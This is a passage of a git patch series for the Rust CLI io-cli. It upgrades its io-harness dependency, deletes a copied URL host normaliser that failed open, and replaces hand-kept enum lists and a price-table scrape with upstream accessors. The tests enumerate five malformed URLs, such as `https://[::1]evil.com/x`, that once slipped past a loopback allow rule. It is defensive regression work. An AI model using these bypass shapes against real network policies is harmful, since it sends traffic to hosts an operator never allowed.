From 8b924139105b3f8000b389964fb3347ad02164c3 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sat, 29 Aug 2026 21:46:56 +0530 Subject: [PATCH 01/17] chore: pin io-harness 0.71.0 and fix a broken intra-doc link 0.71.0 is the newest published harness and closes six issues io-cli filed: #218 (Effect::ALL, ExecMode::ALL, Effect::as_str), #219 (the named step and retry defaults), #220 (PriceTable::models), #221 (net::target made public and its fail-open shapes fixed), #223 (Plugin::hooks, Hook, Hooks::declarations) and #224 (Plugins::inspect). cargo check, the full suite (99 binaries, 1,567 passed, 0 failed, 36 ignored), clippy and fmt are all green on the new pin. The nightly rustdoc gate was not. src/preflight.rs linked crate::approval::refuses_git, which 0.29.0 deleted when io-harness#214 closed, so the link had been broken since that release. The comparison was stale as well as unresolvable: git's spawn no longer refuses an asking exec posture, while the MCP stdio spawn deliberately still does, and that divergence is the reason the preflight cannot be written by analogy to git. Rewritten to say so. --- Cargo.lock | 4 ++-- Cargo.toml | 2 +- src/preflight.rs | 7 +++++-- 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 4f80a2e..f0373c6 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1867,9 +1867,9 @@ dependencies = [ [[package]] name = "io-harness" -version = "0.70.0" +version = "0.71.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed49b9252e588eecd0fb3c19696dcdd35f5ca8ac0cd97ce2be2eef7a70fdb6dc" +checksum = "0b8b8ddbe1020cf14a903d8623cbea4c1e0669344bb443af92f70d2cd0af2e6e" dependencies = [ "base64 0.23.1", "calamine", diff --git a/Cargo.toml b/Cargo.toml index 4b8212d..4caec32 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -63,7 +63,7 @@ path = "src/lib.rs" # still correct about what this *renderer* can be handed; it is simply no longer # load-bearing on the build. Turning `barcode` back off is what would restore # it, and `documents` would then have to be spelled out as its other four. -io-harness = { version = "0.70", features = ["media", "browser", "documents"] } +io-harness = { version = "0.71", features = ["media", "browser", "documents"] } # **`tui-textarea` is gone as of 0.18.0, and it is why this pair was frozen.** # The comment that stood here said ratatui stayed at 0.29 and crossterm at 0.28 # because the composer was built out of that widget and the 0.30 line carried diff --git a/src/preflight.rs b/src/preflight.rs index 32fd640..58631e8 100644 --- a/src/preflight.rs +++ b/src/preflight.rs @@ -205,8 +205,11 @@ impl Preflight { /// (`mcp.rs:571-589`). Its own rustdoc says why: connecting happens before the /// run's first step, and a server is configuration the operator wrote rather /// than an action the agent chose, so there is nobody to ask and nothing to - /// ask about. This is the same shape [`crate::approval::refuses_git`] already - /// answers for git's spawn. + /// ask about. Git's spawn used to have this same shape and no longer does: + /// io-harness#214 closed in 0.70.0, so an asking `exec` posture now raises a + /// real approval there. The MCP stdio spawn kept the old shape deliberately, + /// and that divergence is exactly why this report cannot be written by + /// analogy to git. /// * An **http** dial goes through `NetGuard::check`, which returns `Ask` to the /// caller as a verdict — and `McpSession::connect` discards that verdict /// (`mcp.rs:336-339` ends the expression in `?;`). Nobody is asked and the From 99e74e865ce22427e92b6128937e2af3f89dfa72 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sat, 29 Aug 2026 22:24:48 +0530 Subject: [PATCH 02/17] =?UTF-8?q?chore(develop):=20Delete=20`preflight::ta?= =?UTF-8?q?rget`=20and=20route=20the=20preflight=20thro=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T01 --- src/preflight.rs | 96 ++++++++----------------------------- tests/preflight.rs | 115 ++++++++++++++++++++++++++++++++++----------- 2 files changed, 107 insertions(+), 104 deletions(-) diff --git a/src/preflight.rs b/src/preflight.rs index 58631e8..3d58c7f 100644 --- a/src/preflight.rs +++ b/src/preflight.rs @@ -30,15 +30,25 @@ //! //! # Why this crate computes the answer instead of asking for it //! -//! `authorize_spawn`, `NetGuard` and `net::target` are all `pub(crate)`. There is -//! no embedder-reachable call that answers "would this server start", so the only -//! ways to know are to run a turn and find out, or to ask the same question of the -//! same public [`Policy`] the harness will ask it of. This module does the second: -//! every verdict here comes from `Policy::check`, which *is* `Policy::explain` +//! `authorize_spawn` and `NetGuard` are `pub(crate)`. There is no +//! embedder-reachable call that answers "would this server start", so the only ways +//! to know are to run a turn and find out, or to ask the same question of the same +//! public [`Policy`] the harness will ask it of. This module does the second: every +//! verdict here comes from `Policy::check`, which *is* `Policy::explain` //! (`src/policy.rs:594-596`) and is therefore the same function that enforces. -//! Nothing about permission is decided in this file. What is reproduced here is one -//! string transform — see [`target`] — and that copy is the module's whole risk -//! surface. +//! Nothing about permission is decided in this file. +//! +//! **Nothing is reproduced here either, as of io-harness 0.71.0.** Until then this +//! module carried its own copy of `net::target`, because that function was +//! `pub(crate)`. The copy's own documentation said it could drift silently, and it +//! had: it was byte-for-byte the pre-0.71.0 implementation, which fails open on five +//! URL shapes — `https://user@/x`, `https://[]/x`, `https://[::1]:/x`, +//! `https://[/x`, and worst `https://[::1]evil.com/x`, where the bracket branch +//! takes `[::1]` as the host, discards the real authority, and hands back a target a +//! policy allowing `[::1]` will match. io-harness#221 made the function public and +//! fixed all five; io-cli now calls it. **A permission check must only ever fail +//! closed, and the deleted copy failed open**, which is why the deletion is a +//! security fix rather than a tidy-up. //! //! # It is a disclosure, not a veto //! @@ -77,75 +87,9 @@ //! tighten defaults and a deny is absolute across layers, so a hidden layer cannot //! turn a refusal here into a start there. +use io_harness::net::target; use io_harness::{Act, Effect, McpServer, McpTransport, Policy}; -/// The policy target for `url`: its host and port as `host:port`. -/// -/// **This is a deliberate copy of io-harness's `net::target`** (0.69.0, -/// `src/net.rs:187-219`), which is `pub(crate)` and therefore unreachable from -/// here. It is not a re-derivation of "how to parse a URL" and must never become -/// one: the only correct behaviour is whatever that function does, including the -/// parts a URL library would do differently. -/// -/// **It can drift from its original silently.** Nothing links the two — no trait, -/// no test upstream can fail on this crate's behalf, and a `patch` release of -/// io-harness that tightened the authority split would leave this file compiling, -/// passing, and answering a question the runtime answers differently. A drift that -/// makes this stricter costs a false refusal in a report; a drift that makes it -/// looser makes the preflight lie. That is why `tests/preflight.rs` enumerates the -/// cases — the scheme table, the userinfo drop, both IPv6 spellings, every shape -/// that returns `None` — instead of asserting one happy path. The gate is the -/// enumeration; a single `https://example.com` assertion would pass against almost -/// any URL parser ever written and prove nothing about this one. -/// -/// The rules, as upstream states and implements them: -/// -/// * split once on `://`; no `://` at all is `None`. -/// * the authority ends at the first `/`, `?` or `#`, and an empty authority is -/// `None`. -/// * userinfo before an `@` is dropped — credentials are not part of the host. -/// * the port is filled from the scheme when the URL omits it: `https`/`wss` → 443, -/// `http`/`ws` → 80. **Any other scheme is `None`**, because it never opens a -/// connection the net act governs. -/// * an IPv6 literal keeps its brackets (`[::1]` → `[::1]:443`), which is what makes -/// the trailing `:port` split unambiguous. -/// -/// A `None` is not permission to proceed. See [`check`], which turns it into a -/// refusal for the same reason `NetGuard::check` does. -pub fn target(url: &str) -> Option { - let (scheme, rest) = url.split_once("://")?; - // Authority ends at the first '/', '?', or '#'. - let authority = rest - .split(['/', '?', '#']) - .next() - .filter(|a| !a.is_empty())?; - // Drop any userinfo; credentials are not part of the host. - let hostport = authority.rsplit_once('@').map_or(authority, |(_, h)| h); - - let default_port = match scheme.to_ascii_lowercase().as_str() { - "https" | "wss" => "443", - "http" | "ws" => "80", - _ => return None, - }; - - if let Some(close) = hostport.strip_prefix('[').and_then(|_| hostport.find(']')) { - // IPv6 literal: [::1] or [::1]:8080 - let host = &hostport[..=close]; - return match hostport[close + 1..].strip_prefix(':') { - Some(port) if !port.is_empty() => Some(format!("{host}:{port}")), - _ => Some(format!("{host}:{default_port}")), - }; - } - - match hostport.split_once(':') { - Some((host, port)) if !host.is_empty() && !port.is_empty() => { - Some(format!("{host}:{port}")) - } - Some(_) => None, - None => Some(format!("{hostport}:{default_port}")), - } -} - /// What the policy said about starting one server. /// /// Four variants for three effects, and the fourth is the one this module exists @@ -232,7 +176,7 @@ impl Preflight { /// Both branches ask the same public `Policy::check` the harness asks, with the /// same act and the same target spelling, so a verdict here is the verdict there. /// -/// **The `None` from [`target`] is a refusal and not an absence.** `NetGuard::check` +/// **The `None` from [`io_harness::net::target`] is a refusal and not an absence.** `NetGuard::check` /// refuses an unparseable target outright (`net.rs:275-284`) — "an unchecked /// connection is exactly what this guard exists to prevent". Reporting it as /// "nothing to check" would print *permitted* for a server the runtime is certain to diff --git a/tests/preflight.rs b/tests/preflight.rs index d9a005b..a5992dc 100644 --- a/tests/preflight.rs +++ b/tests/preflight.rs @@ -2,14 +2,20 @@ //! //! Two things are asserted here and they fail for different reasons. //! -//! **The normaliser is a copy, so it is tested as a copy.** `io_cli::preflight::target` -//! reproduces io-harness's `pub(crate) net::target`, and nothing in either crate can -//! notice the day the two stop agreeing. A happy-path assertion — `https://example.com` -//! becomes `example.com:443` — passes against essentially any URL parser ever written, -//! so it would go on passing through a rewrite that changed every answer that matters. -//! What is enumerated below instead is the case table: the scheme defaults, every shape -//! that must return `None`, the userinfo drop, and both IPv6 spellings. Each of those is -//! a line of the original that a re-derivation would get differently. +//! **The normaliser is no longer a copy, and these tests are why the copy had to go.** +//! Until 0.30.0 `io_cli::preflight::target` reproduced io-harness's then-`pub(crate)` +//! `net::target`, and nothing in either crate could notice the day the two stopped +//! agreeing. They had already stopped: the copy was byte-for-byte the pre-0.71.0 +//! implementation, which **fails open on five URL shapes**. The case table below was +//! supposed to be the guard against exactly that, and it enumerated seven refusal cases +//! without containing a single one of the five — a hole the size of the defect. io-cli +//! now calls `io_harness::net::target`, and what is asserted here is the contract this +//! crate depends on rather than an implementation it owns. +//! +//! A happy-path assertion — `https://example.com` becomes `example.com:443` — passes +//! against essentially any URL parser ever written, so the case table stays: the scheme +//! defaults, every shape that must return `None`, the userinfo drop, both IPv6 +//! spellings, and now the five that used to fail open. //! //! **The verdict half is asserted through `io_harness::Policy`, never through a rendered //! string alone.** The policy is built the way a session builds it — @@ -20,8 +26,9 @@ //! conclusion is the failure this whole module exists to prevent. //! //! The load-bearing case is [`an_unresolvable_url_is_a_refusal_and_never_a_start`]. -//! `NetGuard::check` refuses a URL it cannot resolve (io-harness 0.69.0, -//! `src/net.rs:275-284`) before it consults the policy at all. Reading that `None` as +//! `NetGuard::check` refuses a URL it cannot resolve before it consults the policy at +//! all, and io-harness 0.71.0 writes that on `target` itself: *"If you copy this +//! function, copy the `None` handling with it: every `None` is a deny."* Reading it as //! "nothing to check, so nothing objects" is a one-character mistake that reports //! *permitted* for a server the runtime is certain to refuse — the preflight lying in //! the only direction that costs a turn. @@ -29,6 +36,7 @@ use io_cli::approval; use io_cli::preflight::{self, Outcome, Preflight}; use io_cli::settings::Posture; +use io_harness::net::target; use io_harness::{Act, Config, Effect, McpServer, Policy, Rule}; /// A stdio server named `id` spawning `command`. @@ -51,7 +59,9 @@ fn remembered(act: Act, effect: Effect, pattern: &str) -> Rule { } // --------------------------------------------------------------------------- -// The normaliser. One assertion per line of the function it copies. +// The normaliser. One assertion per line of the contract io-cli depends on — +// it is io-harness's function now, not a copy, and these are the properties +// this crate would be wrong without. // --------------------------------------------------------------------------- /// The port is filled from the scheme, and all four schemes that reach a host are @@ -60,19 +70,19 @@ fn remembered(act: Act, effect: Effect, pattern: &str) -> Rule { #[test] fn target_fills_the_port_from_the_scheme() { assert_eq!( - preflight::target("https://mcp.example.com").as_deref(), + target("https://mcp.example.com").as_deref(), Some("mcp.example.com:443"), ); assert_eq!( - preflight::target("http://mcp.example.com").as_deref(), + target("http://mcp.example.com").as_deref(), Some("mcp.example.com:80"), ); assert_eq!( - preflight::target("wss://mcp.example.com").as_deref(), + target("wss://mcp.example.com").as_deref(), Some("mcp.example.com:443"), ); assert_eq!( - preflight::target("ws://mcp.example.com").as_deref(), + target("ws://mcp.example.com").as_deref(), Some("mcp.example.com:80"), ); } @@ -83,11 +93,11 @@ fn target_fills_the_port_from_the_scheme() { #[test] fn target_keeps_a_port_the_url_states() { assert_eq!( - preflight::target("https://mcp.example.com:8443").as_deref(), + target("https://mcp.example.com:8443").as_deref(), Some("mcp.example.com:8443"), ); assert_eq!( - preflight::target("http://127.0.0.1:3000/mcp").as_deref(), + target("http://127.0.0.1:3000/mcp").as_deref(), Some("127.0.0.1:3000"), ); } @@ -103,7 +113,7 @@ fn target_stops_at_the_path_the_query_and_the_fragment() { "https://mcp.example.com#frag", ] { assert_eq!( - preflight::target(url).as_deref(), + target(url).as_deref(), Some("mcp.example.com:443"), "the authority ends before the first `/`, `?` or `#`: {url}", ); @@ -116,11 +126,11 @@ fn target_stops_at_the_path_the_query_and_the_fragment() { #[test] fn target_drops_the_userinfo() { assert_eq!( - preflight::target("https://user:pw@mcp.example.com/mcp").as_deref(), + target("https://user:pw@mcp.example.com/mcp").as_deref(), Some("mcp.example.com:443"), ); assert_eq!( - preflight::target("https://token@mcp.example.com").as_deref(), + target("https://token@mcp.example.com").as_deref(), Some("mcp.example.com:443"), ); } @@ -130,16 +140,13 @@ fn target_drops_the_userinfo() { /// port `1`. #[test] fn target_keeps_the_brackets_on_an_ipv6_literal() { + assert_eq!(target("https://[::1]").as_deref(), Some("[::1]:443")); assert_eq!( - preflight::target("https://[::1]").as_deref(), - Some("[::1]:443") - ); - assert_eq!( - preflight::target("http://[::1]:8080/mcp").as_deref(), + target("http://[::1]:8080/mcp").as_deref(), Some("[::1]:8080"), ); assert_eq!( - preflight::target("https://[2001:db8::1]").as_deref(), + target("https://[2001:db8::1]").as_deref(), Some("[2001:db8::1]:443"), ); } @@ -156,7 +163,7 @@ fn target_refuses_a_scheme_that_never_dials() { "HTTPX://mcp.example.com", ] { assert_eq!( - preflight::target(url), + target(url), None, "only http, https, ws and wss resolve to a host: {url}", ); @@ -177,10 +184,62 @@ fn target_refuses_input_with_no_authority() { "https://?q=1", "https://:443", ] { - assert_eq!(preflight::target(url), None, "there is no host in {url:?}"); + assert_eq!(target(url), None, "there is no host in {url:?}"); } } +/// **The five shapes io-cli's deleted copy failed open on.** +/// +/// Every one of these came back `Some` from the copy this crate carried until 0.30.0, +/// and a `Some` is a target a permissive policy may then allow. They are listed with +/// the wrong answer each used to give, because the wrong answer is the point: four of +/// them invent a host out of nothing, and the fifth substitutes a *different* host than +/// the one the URL dials. +/// +/// `https://[::1]evil.com/x` is the one that matters most. The bracket branch found the +/// closing `]` at index 4, took `[::1]` as the host, and dropped `evil.com` on the floor +/// — so the preflight reported "permitted, `[::1]:443`" for a URL that connects to +/// `evil.com`, and an operator who had allowed loopback would have been told their own +/// rule covered it. +/// +/// This test is the guard that was missing. The case table beside it enumerated seven +/// refusals and contained none of these, which is how a copy documented as able to +/// "drift silently" drifted for two releases without a single red test. +#[test] +fn target_refuses_the_five_shapes_the_deleted_copy_allowed() { + for (url, used_to_return) in [ + ("https://user@/x", ":443"), + ("https://[]/x", "[]:443"), + ("https://[::1]:/x", "[::1]:443"), + ("https://[::1]evil.com/x", "[::1]:443"), + ("https://[/x", "[:443"), + ] { + assert_eq!( + target(url), + None, + "{url:?} must be a refusal; io-cli's deleted copy answered {used_to_return:?}, \ + and a Some here is a target a policy can allow", + ); + } +} + +/// The bracketless twin of `https://[::1]:/x` was always refused, and that asymmetry is +/// what made the IPv6 branch's bug invisible: the same shape, spelled two ways, gave two +/// answers. Asserted together so neither can regress alone. +#[test] +fn an_empty_port_is_refused_in_both_spellings() { + assert_eq!( + target("https://host:/x"), + None, + "bracketless, always refused" + ); + assert_eq!( + target("https://[::1]:/x"), + None, + "bracketed, refused only since io-harness 0.71.0", + ); +} + // --------------------------------------------------------------------------- // The verdict. // --------------------------------------------------------------------------- From 7eae1cfefd07d1fe24dedde3cadac36a1250c8be Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sat, 29 Aug 2026 22:24:48 +0530 Subject: [PATCH 03/17] =?UTF-8?q?chore(develop):=20Read=20the=20three=20en?= =?UTF-8?q?umerations=20from=20io-harness=20instead=20of=20=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T02 --- src/configure.rs | 210 ++++++++++++++++++++++---------------------- tests/configure.rs | 213 ++++++++++++++++++++++++++++++++++++++------- 2 files changed, 286 insertions(+), 137 deletions(-) diff --git a/src/configure.rs b/src/configure.rs index fe95d58..88497c5 100644 --- a/src/configure.rs +++ b/src/configure.rs @@ -248,71 +248,64 @@ pub enum Kind { Machine, } -/// The `Effect` variants, spelled as the file spells them. -/// -/// **This is a build-breaking census and it can be, because `Effect` is not -/// `#[non_exhaustive]`** (`io-harness-0.69.0/src/policy.rs:91-97`). The array -/// names every variant and the `match` covers every variant, so a variant *added* -/// by a later io-harness fails the match and a variant *removed* fails the array. -/// Either way this crate stops compiling rather than shipping a menu that quietly -/// omits an option — and an option that was never offered is one an operator -/// cannot detect, which is why that guarantee is worth a function. -/// -/// **The one thing it does not catch** is a rename: the strings are serde's -/// `rename_all = "snake_case"` of the variant names, and io-harness exposes no -/// `as_str` for `Effect` the way it does for [`exec_modes`], so io-cli has to -/// spell them. A dependency that renamed `Allow` to `Permit` would leave this -/// compiling and writing a word the schema rejects. `tests/configure.rs` closes -/// that by round-tripping each string through io-harness's own deserializer. +/// The `Effect` variants, spelled by io-harness itself. +/// +/// **Both halves are the dependency's since io-harness 0.71.0, and neither is +/// written here any more**: the list is `Effect::ALL` +/// (`io-harness-0.71.0/src/policy.rs:127`) and each spelling is `Effect::as_str` +/// (`:143`), which is the word io-harness's own deserializer reads. +/// +/// Until this release io-cli held a copy of both — an array naming three variants +/// and a `match` mapping them to three string literals — and the copy was the +/// defect. The array was a build-breaking census, so a variant *added* or +/// *removed* upstream stopped this crate compiling; but the literals were io-cli's +/// transcription of serde's `rename_all = "snake_case"`, so a *rename* upstream +/// left it compiling and writing a word the schema rejects. Taking the string from +/// the variant closes the one hole the census could not. +/// +/// `Effect` is not `#[non_exhaustive]` (`policy.rs:90-92`), so `ALL` is a census +/// io-harness itself keeps complete rather than a list that can quietly fall +/// behind, and there is no wildcard on this side to swallow a fourth effect. +/// `tests/configure.rs` still round-trips every string through io-harness's own +/// deserializer, because `as_str` and `Deserialize` are two impls and only the +/// round trip proves they agree. #[must_use] pub fn effects() -> Vec { - [ - io_harness::Effect::Allow, - io_harness::Effect::Ask, - io_harness::Effect::Deny, - ] - .iter() - .map(|effect| { - match effect { - io_harness::Effect::Allow => "allow", - io_harness::Effect::Ask => "ask", - io_harness::Effect::Deny => "deny", - } - .to_string() - }) - .collect() + io_harness::Effect::ALL + .iter() + .map(|effect| effect.as_str().to_string()) + .collect() } /// The `ExecMode` variants, spelled by io-harness itself. /// -/// **A weaker guarantee than [`effects`]'s, and the difference is the -/// dependency's and not a choice made here.** `ExecMode` *is* `#[non_exhaustive]` -/// (`io-harness-0.69.0/src/sandbox.rs:379`), so rustc requires a wildcard arm on -/// any match over it and a variant added by a later io-harness would fall into -/// that wildcard silently — compiling green while the menu omits the new mode. -/// Only a *removal* breaks the build here. -/// -/// So what is asserted is what is obtainable: the spelling of every variant comes -/// from `ExecMode::as_str` (`sandbox.rs:400`) rather than from io-cli, so a rename -/// cannot slip through; and [`exec_mode_label`] reports an unknown mode rather -/// than dropping it. An issue asking io-harness for variant enumeration on both -/// enums is filed with this release — `strum` is not an answer, being forbidden by -/// io-harness's own NF2 and by this crate's no-new-dependency constraint. +/// **The list is `ExecMode::ALL` (`io-harness-0.71.0/src/sandbox.rs:424`) and the +/// spellings are `ExecMode::as_str` (`:431`).** io-cli wrote the variant list out +/// by hand until this release for a reason that was the dependency's and not a +/// choice made here: `ExecMode` is `#[non_exhaustive]` (`sandbox.rs:378-381`), and +/// a caller outside the defining crate cannot enumerate such an enum without a +/// wildcard arm that silently swallows the next variant. The issue this crate +/// filed asking for the enumeration is io-harness#218, and 0.71.0 answers it — +/// `ALL` is kept complete by an in-crate exhaustive `match` that stops io-harness +/// compiling when a mode is added, which is a guarantee nothing on this side could +/// have provided. `strum` was never an answer, being forbidden by io-harness's own +/// NF2 and by this crate's no-new-dependency constraint. +/// +/// `ExecMode` is still `#[non_exhaustive]`, so a *match* over it here still needs +/// a wildcard — see [`exec_mode_label`], which reports an unknown mode rather than +/// dropping it. What changed is that the menu no longer depends on that: a mode +/// io-harness adds is offered because it is in `ALL`, not because io-cli noticed. #[must_use] pub fn exec_modes() -> Vec { - [ - io_harness::ExecMode::ReadOnly, - io_harness::ExecMode::WorkspaceWrite, - io_harness::ExecMode::FullAccess, - ] - .iter() - .map(|mode| mode.as_str().to_string()) - .collect() + io_harness::ExecMode::ALL + .iter() + .map(|mode| mode.as_str().to_string()) + .collect() } /// How a mode reads on the surface, including one this build has never heard of. /// -/// The mitigation [`exec_modes`] describes. A wildcard that omits is the defect; a +/// The wildcard [`exec_modes`] names. A wildcard that omits is the defect; a /// wildcard that says so is the most a `#[non_exhaustive]` enum allows, and it /// turns "the menu is missing an option" — which nobody can see — into a row that /// names the mode and admits io-cli does not know it. @@ -386,14 +379,31 @@ pub fn kind_of(key: &str) -> Option { /// The one-two-five ladder around `current`, nearest first. /// -/// **Anchored on the value in force, and that is the audit's finding rather than a -/// preference.** The plan for this release said the ladder would be anchored on -/// io-harness's own default for the key. There is no such thing to read: -/// `run.max_tokens` and `run.max_duration_secs` are `None` in both `TaskContract` -/// constructors (`contract.rs:652,730`), `run.max_steps` is 8 in one and 12 in the -/// other (`:650,:728`) so neither is "the default", the `[run]` section is a -/// private struct with no getter, and `io_harness::Defaults` is the policy tier -/// defaults under a colliding name. So the anchor is the value the operator +/// **Anchored on the value in force, and that is still the finding rather than a +/// preference — but half of the old reason is now false and the correction is +/// worth writing down.** io-harness 0.71.0 names its own defaults: +/// `DEFAULT_MAX_STEPS` = 8, `DEFAULT_WORKSPACE_MAX_STEPS` = 12 and +/// `DEFAULT_MAX_RETRIES` = 2 (`io-harness-0.71.0/src/contract.rs:652,670,686`), +/// re-exported at the crate root. "There is nothing to read" was true when this +/// was written and is not true now. What is still true is that none of it anchors +/// *this* ladder: +/// +/// * `run.max_steps` — **io-cli does not run on either harness default.** +/// [`crate::contract::configured`] builds every session turn and every +/// `io exec` from `TaskContract::workspace(..)` and immediately replaces its +/// `DEFAULT_WORKSPACE_MAX_STEPS` with [`crate::contract::MAX_STEPS`] +/// (`src/contract.rs:210`), *before* the configuration is applied over it. The +/// number in force when no file names the key is a thousand, and it is io-cli's +/// own. Anchoring the picker on 12 would show a figure no turn has ever run +/// under. +/// * `run.max_tokens` and `run.max_duration_secs` — `None` in **both** +/// `TaskContract` constructors, so there is no default to show at all. +/// * The rest — the `[run]` section is a private struct with no getter, and +/// `io_harness::Defaults` is the policy tier defaults under a colliding name. +/// +/// And a per-key anchor is not this function's to apply in any case: it is handed +/// a number and a sign, never a key ([`Kind::Number`] carries only `signed`), so +/// the choice would belong to the caller. So the anchor is the value the operator /// actually has — which is also the value they are reasoning from. /// /// `None` — a key no file names — ladders from 1. The alternative was an empty @@ -569,55 +579,47 @@ pub fn shape_of(key: &str, config: &Config) -> Option { /// The models `[prices.models]` names, across every scope, sorted and deduplicated. /// -/// **Quoted from the files rather than read from the dependency, because the -/// dependency has no reader.** `io_harness::pricing::PriceTable`'s whole public -/// API is `new`, `with`, `with_tiers`, `as_of`, `price` and `tiers` — it can -/// answer what one named model costs and cannot say which models it holds. So a -/// surface offering "choose a model you have prices for" has to read the section -/// itself. This is the same act `Setting::value` already performs for a section -/// io-harness exposes no accessor for: the origin says which file, and the text is -/// what that file says. Filed upstream as a gap. +/// **Read from the dependency's own table since io-harness 0.71.0, not scraped +/// out of the files.** `PriceTable::models` (`io-harness-0.71.0/src/pricing.rs:268`) +/// lists every model the table can actually price, and [`Config::prices`] has +/// always built that table out of the three scopes — so the merged question this +/// used to hand-roll is precisely the one the accessor answers, and the gap filed +/// upstream as io-harness#220 has landed. The models come back sorted and unique +/// because the table keys them in a `BTreeMap`. +/// +/// **The scrape was also wrong, and replacing it fixes a menu an operator could +/// not see past.** It matched a literal `[prices.models]` header, so a file +/// spelling its table as a sub-table per model — `[prices.models."gpt-4.1"]`, +/// which is [`crate::prices::Shape::SubTables`], legal TOML io-harness reads +/// perfectly well, and the shape an operator writing rates by hand is most likely +/// to reach for — listed *no* models at all, and the picker for every +/// [`Kind::Model`] key came up empty on a perfectly good price table. +/// +/// **A model priced by tiers alone is not offered**, which is `models`'s own +/// contract rather than a rule invented here: `PriceTier`s are keyed separately +/// from base prices and `cost_micros` answers `None` for a model that has only +/// tiers, so listing it would be promising a cost the table cannot produce. /// /// **No network call, ever.** A settings screen that reached for a catalogue would /// be spending an operator's money to draw a menu; where no priced section exists /// the caller says so and offers the refresh row that already acts. /// -/// Every scope rather than the deciding one, because `[prices.models]` is a table -/// the scopes merge key by key — a model priced in the user file and another in -/// the project file are both priced for this session. +/// **This takes the `Config` the caller already holds, and must never re-discover +/// one.** `Config::discover` resolves every `${env:}`, `${file:}` and `${cmd:}` as +/// it reads (`io-harness-0.71.0/src/config.rs:517`), so a second discovery re-runs +/// an operator's credential commands — which for a `${cmd:}` fetching a key out of +/// a keychain means a Touch-ID prompt raised in order to draw a menu, every time +/// the picker opens. Taking a `&Config` is not an optimisation; it is the +/// difference between reading a value and executing somebody's program. +/// +/// A configuration with no priced section lists nothing, and the caller says so and +/// offers the refresh row that already acts. #[must_use] -pub fn priced_models(root: &std::path::Path) -> Vec { - let mut found: BTreeSet = BTreeSet::new(); - for scope in [Scope::User, Scope::Project, Scope::Local] { - let Some(path) = scope_path(root, scope) else { - continue; - }; - let Ok(text) = std::fs::read_to_string(&path) else { - continue; - }; - let mut inside = false; - for line in text.lines() { - let line = line.trim(); - if line.starts_with('[') { - // A header ends the previous table and may open this one. Both - // spellings io-harness accepts, since a `[prices.models]` and a - // dotted `[prices]`/`models` are the same table to a TOML reader - // and only the header form appears here. - inside = line == "[prices.models]"; - continue; - } - if !inside || line.is_empty() || line.starts_with('#') { - continue; - } - if let Some((name, _)) = line.split_once('=') { - let name = name.trim().trim_matches('"').trim(); - if !name.is_empty() { - found.insert(name.to_string()); - } - } - } - } - found.into_iter().collect() +pub fn priced_models(config: &Config) -> Vec { + let Some(prices) = config.prices() else { + return Vec::new(); + }; + prices.models().into_iter().map(str::to_string).collect() } /// Which file a change to `key` should be written into, and whether that was diff --git a/tests/configure.rs b/tests/configure.rs index 46f5b5c..d8f6ad7 100644 --- a/tests/configure.rs +++ b/tests/configure.rs @@ -4,6 +4,7 @@ use std::sync::{Mutex, MutexGuard}; use io_cli::configure::{self, Decided}; use io_harness::config::{Config, Scope}; +use io_harness::pricing::{Price, PriceTier}; /// `Config::discover` reads `IO_CONFIG` at call time, so two tests setting it at /// once would each see the other's file. Serialised here rather than diagnosed @@ -52,6 +53,17 @@ impl Scopes { std::env::remove_var("IO_CONFIG"); config } + + /// `configure::priced_models` over this fixture's three scopes. + /// + /// It takes the `Config` this fixture already builds rather than a root, + /// because `priced_models` takes one — deliberately. A version that discovered + /// its own would re-resolve every `${cmd:}` in the operator's configuration + /// each time the model picker opened, which is a credential command executed + /// to draw a menu. + fn priced_models(&self) -> Vec { + configure::priced_models(&self.config()) + } } #[test] @@ -652,20 +664,35 @@ fn f1_only_the_expected_exit_status_is_signed() { // F2 — the enum kinds agree with the dependency rather than with a literal. -/// The effects are the dependency's three, and each one round-trips through -/// io-harness's own deserializer. +/// F18 — the effects are `Effect::ALL` round-tripped through `Effect::as_str`, +/// and every spelling is one io-harness's own deserializer accepts. +/// +/// **Three assertions, and each one fails on a different change.** /// -/// The census itself is a build break — `Effect` is not `#[non_exhaustive]`, so -/// `configure::effects`'s array and match both fail on a variant change. What this -/// adds is the half the build cannot catch: the *spellings* are serde's -/// `rename_all`, io-harness exposes no `as_str` for `Effect`, and a rename would -/// leave io-cli compiling and writing a word the schema rejects. +/// The first is the criterion stated literally: the menu *is* the dependency's +/// enumeration mapped through the dependency's speller. A list io-cli went back to +/// writing by hand fails it the moment the two disagree, which is the whole point +/// of no longer keeping a copy. /// -/// Sabotage: add a fourth effect to io-cli's list. Under it F2 fails, because the -/// dependency knows three. +/// The second pins the words an operator, `docs/config.example.toml` and every +/// already-written `io.toml` actually use. It is the half the old hand-written +/// census could not catch at all: a *rename* upstream now changes `as_str`, so the +/// menu changes with it, and this is where that is noticed rather than in someone's +/// config that stopped parsing. +/// +/// The third is the sabotage the criterion names — hand-write a fourth effect +/// string and the round trip through `Config::from_toml` refuses it. #[test] fn f2_the_effects_are_the_dependency_s_own() { let effects = configure::effects(); + assert_eq!( + effects, + io_harness::Effect::ALL + .iter() + .map(|effect| effect.as_str().to_string()) + .collect::>(), + "the menu must be the dependency's enumeration, not io-cli's copy of it" + ); assert_eq!(effects, vec!["allow", "ask", "deny"]); for word in &effects { let text = format!("[policy]\ndefaults = {{ read = \"{word}\" }}\n"); @@ -676,16 +703,29 @@ fn f2_the_effects_are_the_dependency_s_own() { } } -/// The exec modes are spelled by io-harness, not by io-cli. +/// F18 — the exec modes are `ExecMode::ALL`, spelled by `ExecMode::as_str`. +/// +/// **The variant list is no longer io-cli's, and that is what changed.** Until +/// 0.30.0 the list here was written out by hand because a `#[non_exhaustive]` enum +/// cannot be enumerated from outside the crate that defines it: a mode io-harness +/// added would have fallen into a required wildcard and quietly gone missing from +/// the menu, which is the one failure nobody can see. `ExecMode::ALL` is kept +/// complete by an exhaustive `match` inside io-harness, so the first assertion +/// below is now a real guarantee rather than a hope. /// -/// Weaker than the effects' guarantee and the difference is the dependency's: -/// `ExecMode` **is** `#[non_exhaustive]` 